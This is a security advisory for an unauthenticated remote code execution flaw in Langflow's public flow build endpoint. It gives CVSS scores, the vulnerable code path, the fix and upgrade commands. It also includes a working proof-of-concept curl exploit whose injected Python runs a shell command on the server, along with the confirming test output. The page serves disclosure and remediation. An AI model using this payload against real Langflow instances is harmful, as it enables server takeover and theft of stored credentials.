Skip to content

GHSA-vwmf-pq79-vjvx CVE-2026-33017 PYSEC-2026-379

Unauthenticated Remote Code Execution in Langflow via Public Flow Build Endpoint

Critical Known exploited PyPI
Severity
9.3 / 10
Critical · CVSS 4.0
Exploit chance (EPSS)
96.18%
Chance of exploitation in the next 30 days. Higher than 99.88% of scored vulnerabilities.
Known exploited
Yes
In CISA's catalog since Mar 25, 2026
Weakness
CWE-94 Improper Control of Generation of Code ('Code Injection')
CWE-95 Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')
CWE-306 Missing Authentication for Critical Function
Fix
1.9.0
Upgrade langflow to this version or later
Exploited in the wild. Langflow Code Injection Vulnerability (Langflow Langflow). Required action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Due for U.S. federal agencies by Apr 8, 2026.

Description

Summary

The POST /api/v1/build_public_tmp/{flow_id}/flow endpoint allows building public flows without requiring authentication. When the optional data parameter is supplied, the endpoint uses attacker-controlled flow data (containing arbitrary Python code in node definitions) instead of the stored flow data from the database. This code is passed to exec() with zero sandboxing, resulting in unauthenticated remote code execution.

This is distinct from CVE-2025-3248, which fixed /api/v1/validate/code by adding authentication. The build_public_tmp endpoint is designed to be unauthenticated (for public flows) but incorrectly accepts attacker-supplied flow data containing arbitrary executable code.

Affected Code

Vulnerable Endpoint (No Authentication)

File: src/backend/base/langflow/api/v1/chat.py, lines 580-657

@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
    *,
    flow_id: uuid.UUID,
    data: Annotated[FlowDataRequest | None, Body(embed=True)] = None,  # ATTACKER CONTROLLED
    request: Request,
    # ... NO Depends(get_current_active_user) -- MISSING AUTH ...
):
    """Build a public flow without requiring authentication."""
    client_id = request.cookies.get("client_id")
    owner_user, new_flow_id = await verify_public_flow_and_get_user(flow_id=flow_id, client_id=client_id)

    job_id = await start_flow_build(
        flow_id=new_flow_id,
        data=data,  # Attacker's data passed directly to graph builder
        current_user=owner_user,
        ...
    )

Compare with the authenticated build endpoint at line 138, which requires current_user: CurrentActiveUser.

Code Execution Chain

When attacker-supplied data is provided, it flows through:

  1. start_flow_build(data=attacker_data) → generate_flow_events() -- build.py:81
  2. create_graph() → build_graph_from_data(payload=data.model_dump()) -- build.py:298
  3. Graph.from_payload(payload) parses attacker nodes -- base.py:1168
  4. add_nodes_and_edges() → initialize() → _build_graph() -- base.py:270,527
  5. _instantiate_components_in_vertices() iterates nodes -- base.py:1323
  6. vertex.instantiate_component() → instantiate_class(vertex) -- loading.py:28
  7. code = custom_params.pop("code") extracts attacker code -- loading.py:43
  8. eval_custom_component_code(code) → create_class(code, class_name) -- eval.py:9
  9. prepare_global_scope(module) -- validate.py:323
  10. exec(compiled_code, exec_globals) -- ARBITRARY CODE EXECUTION -- validate.py:397

Unsandboxed exec() in prepare_global_scope

File: src/lfx/src/lfx/custom/validate.py, lines 340-397

def prepare_global_scope(module):
    exec_globals = globals().copy()

    # Imports are resolved first (any module can be imported)
    for node in imports:
        module_obj = importlib.import_module(module_name)  # line 352
        exec_globals[variable_name] = module_obj

    # Then ALL top-level definitions are executed (Assign, ClassDef, FunctionDef)
    if definitions:
        combined_module = ast.Module(body=definitions, type_ignores=[])
        compiled_code = compile(combined_module, "<string>", "exec")
        exec(compiled_code, exec_globals)  # line 397 - ARBITRARY CODE EXECUTION

Critical detail: prepare_global_scope executes ast.Assign nodes. An attacker's code like _x = os.system("id") is an assignment and will be executed during graph building -- before the flow even "runs."

Prerequisites

  1. Target Langflow instance has at least one public flow (common for demos, chatbots, shared workflows)
  2. Attacker knows the public flow's UUID (discoverable via shared links/URLs)
  3. No authentication required -- only a client_id cookie (any arbitrary string value)

When AUTO_LOGIN=true (the default), all prerequisites can be met by an unauthenticated attacker:

  1. GET /api/v1/auto_login → obtain superuser token
  2. POST /api/v1/flows/ → create a public flow
  3. Exploit via build_public_tmp without any auth

Proof of Concept

Tested Against

  • Langflow version 1.7.3 (latest stable release, installed via pip install langflow)
  • Fully reproducible: 6/6 runs confirmed RCE (two sets of 3 runs each)

Step 1: Obtain a Public Flow ID

(In a real attack, the attacker discovers this via shared links. For the PoC, we create one via AUTO_LOGIN.)

# Get superuser token (no credentials needed when AUTO_LOGIN=true)
TOKEN=$(curl -s http://localhost:7860/api/v1/auto_login | jq -r '.access_token')

# Create a public flow
FLOW_ID=$(curl -s -X POST http://localhost:7860/api/v1/flows/ \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"name":"test","data":{"nodes":[],"edges":[]},"access_type":"PUBLIC"}' \
  | jq -r '.id')

echo "Public Flow ID: $FLOW_ID"

Step 2: Exploit -- Unauthenticated RCE

# EXPLOIT: Send malicious flow data to the UNAUTHENTICATED endpoint
# NO Authorization header, NO API key, NO credentials
curl -X POST "http://localhost:7860/api/v1/build_public_tmp/${FLOW_ID}/flow" \
  -H "Content-Type: application/json" \
  -b "client_id=attacker" \
  -d '{
    "data": {
      "nodes": [{
        "id": "Exploit-001",
        "type": "genericNode",
        "position": {"x":0,"y":0},
        "data": {
          "id": "Exploit-001",
          "type": "ExploitComp",
          "node": {
            "template": {
              "code": {
                "type": "code",
                "required": true,
                "show": true,
                "multiline": true,
                "value": "import os, socket, json as _json\n\n_proof = os.popen(\"id\").read().strip()\n_host = socket.gethostname()\n_write = open(\"/tmp/rce-proof\",\"w\").write(f\"{_proof} on {_host}\")\n\nfrom lfx.custom.custom_component.component import Component\nfrom lfx.io import Output\nfrom lfx.schema.data import Data\n\nclass ExploitComp(Component):\n    display_name=\"X\"\n    outputs=[Output(display_name=\"O\",name=\"o\",method=\"r\")]\n    def r(self)->Data:\n        return Data(data={})",
                "name": "code",
                "password": false,
                "advanced": false,
                "dynamic": false
              },
              "_type": "Component"
            },
            "description": "X",
            "base_classes": ["Data"],
            "display_name": "ExploitComp",
            "name": "ExploitComp",
            "frozen": false,
            "outputs": [{"types":["Data"],"selected":"Data","name":"o","display_name":"O","method":"r","value":"__UNDEFINED__","cache":true,"allows_loop":false,"tool_mode":false,"hidden":null,"required_inputs":null,"group_outputs":false}],
            "field_order": ["code"],
            "beta": false,
            "edited": false
          }
        }
      }],
      "edges": []
    },
    "inputs": null
  }'

Step 3: Verify Code Execution

# Wait 2 seconds for async graph building
sleep 2

# Check proof file written by attacker's code on the server
cat /tmp/rce-proof
# Output: uid=1000(aviral) gid=1000(aviral) groups=... on kali

Actual Test Results

======================================================================
LANGFLOW v1.7.3 UNAUTHENTICATED RCE - DEFINITIVE E2E TEST
======================================================================
Version:  Langflow 1.7.3

RUN 1: POST /api/v1/build_public_tmp/{id}/flow (NO AUTH)
  HTTP 200 - Job ID: d8db19bf-a532-4f9d-a368-9c46d6235c19
  *** REMOTE CODE EXECUTION CONFIRMED ***
    canary: RCE-f0d19b36
    hostname: kali
    uid: 1000
    whoami: aviral
    id: uid=1000(aviral) gid=1000(aviral) groups=1000(aviral),...
    uname: Linux 6.16.8+kali-amd64

RUN 2: POST /api/v1/build_public_tmp/{id}/flow (NO AUTH)
  HTTP 200 - Job ID: d2e24f20-d707-4278-868c-583dd7532832
  *** REMOTE CODE EXECUTION CONFIRMED ***
    canary: RCE-6037a271

RUN 3: POST /api/v1/build_public_tmp/{id}/flow (NO AUTH)
  HTTP 200 - Job ID: 5962244a-42af-4ef6-b134-a6a4adba5ab7
  *** REMOTE CODE EXECUTION CONFIRMED ***
    canary: RCE-4a796556

FINAL RESULTS
  Total checks:   15
  VULNERABLE:     15
  SAFE:           0
  RCE confirmed:  3/3 runs
  Reproducible:   YES (100%)

Impact

  • Unauthenticated Remote Code Execution with full server process privileges
  • Complete server compromise: arbitrary file read/write, command execution
  • Environment variable exfiltration: API keys, database credentials, cloud tokens (confirmed in PoC: env_keys exfiltrated)
  • Reverse shell access for persistent access
  • Lateral movement within the network
  • Data exfiltration from all flows, messages, and stored credentials in the database

Comparison with CVE-2025-3248

Aspect CVE-2025-3248 This Vulnerability
Endpoint /api/v1/validate/code /api/v1/build_public_tmp/{id}/flow
Fix applied Added Depends(get_current_active_user) None -- NEW vulnerability
Root cause Missing auth on code validation Unauthenticated endpoint accepts attacker-controlled executable code via data param
Code execution via validate_code() → exec() create_class() → prepare_global_scope() → exec()
CISA KEV Yes (actively exploited) N/A (new finding)
Can simple auth fix? Yes (and it was fixed) No -- endpoint is designed to be unauthenticated; the data parameter must be removed

Recommended Fix

Immediate (Short-term)

Remove the data parameter from build_public_tmp. Public flows should only execute their stored flow data, never attacker-supplied data:

@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
    *,
    flow_id: uuid.UUID,
    inputs: Annotated[InputValueRequest | None, Body(embed=True)] = None,
    # REMOVED: data parameter -- public flows must use stored data only
    ...
):

In generate_flow_events → create_graph(), only the build_graph_from_db path should be reachable for unauthenticated requests:

async def create_graph(fresh_session, flow_id_str, flow_name):
    # For public flows, ALWAYS load from database, never from user data
    return await build_graph_from_db(
        flow_id=flow_id,
        session=fresh_session,
        ...
    )

Affected versions

PyPI

PackageVulnerableFixed in
langflow
<= 1.8.2
No fix yet
langflow
< 1.9.0
1.9.0

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

langflow PyPI → 1.9.0

pip
pip install --upgrade "langflow>=1.9.0"
poetry
poetry add "langflow>=1.9.0"
uv
uv add "langflow>=1.9.0"

Severity breakdown

CVSS 4.0 9.3

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L/E:A

Attack vector
Network
Attack complexity
Low
Attack requirements
None
Privileges required
None
User interaction
None
Confidentiality (vulnerable system)
High
Integrity (vulnerable system)
High
Availability (vulnerable system)
High
Confidentiality (subsequent systems)
Low
Integrity (subsequent systems)
Low
Availability (subsequent systems)
Low
Exploit maturity
Attacked

CVSS 3.1 9.8

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Weakness

CWE-94: Improper Control of Generation of Code ('Code Injection')

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

How to prevent it
  • Architecture and Design: Refactor your program so that you do not have to dynamically generate code.
  • Architecture and Design: Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product. Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
  • Testing: Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
  • Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
  • Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
  • Implementation: For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].

CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')

The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before using the input in a dynamic evaluation call (e.g. "eval").

How to prevent it
  • Architecture and Design, Implementation: If possible, refactor your code so that it does not need to use eval() at all.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control. Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.
  • Implementation: For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].

CWE-306: Missing Authentication for Critical Function

The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.

How to prevent it
  • Architecture and Design: Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability. Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port. In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Architecture and Design: Where possible, avoid implementing custom, "grow-your-own" authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment. These capabilities may avoid common weaknesses that are unique to authentication; support automatic auditing and tracking; and make it easier to provide a clear separation between authentication tasks and authorization tasks. In environments such as the World Wide Web, the line between authentication and authorization is sometimes blurred. If custom authentication routines are required instead of those provided by the server, then these routines must be applied to every single page, since these pages could be requested directly.
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator [REF-45].
  • Implementation, System Configuration, Operation: When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to require strong authentication for users who should be allowed to access the data [REF-1297] [REF-1298] [REF-1302].

References

Timeline

  1. Published
  2. Added to CISA's Known Exploited Vulnerabilities catalog
  3. Remediation due for U.S. federal agencies
  4. Last updated by the source
  5. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-qrpv-q767-xqq2
Langflow: IDOR Vulnerability in `/api/v1/responses` Endpoint Allows Authenticated Attackers to Access Another User's Flow
High Known exploited Also affects langflow
GHSA-g22f-v6f7-2hrh
Langflow affected by Remote Code Execution via validate_code() exec()
High Known exploited Also affects langflow
GHSA-577h-p2hh-v4mv
Langflow CORS misconfiguration enables Account Takeover and RCE
Critical Known exploited Also affects langflow
GHSA-rvqx-wpfh-mfx7
Langflow Unauth RCE
Critical Known exploited Also affects langflow
GHSA-j8f7-x8jm-wmm4
Langflow: SSRF in URL-taking components (protection disabled by default / warn-only, not applied to RSS, SearXNG, Web Search, Home Assistant, Glean, Docling)
Medium Also affects langflow
GHSA-4f6c-2vvp-gw82
Langflow: IP Spoofing Bypass via `X-Forwarded-For` Allowing Remote Configuration Write
High Also affects langflow
GHSA-4hmc-cfm3-w43c
Langflow has Authenticated Cross-Project File Disclosure via Unscoped MCP Resource Handlers
High Also affects langflow
GHSA-gh98-4phw-6fmw
Langflow : Cross-user flow access and vertex execution via deprecated /api/v1/build/{flow_id}/vertices endpoints
Medium Also affects langflow

Credits: Aviral2642, Jkavia, andifilhohub, srmish-jfrog

Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor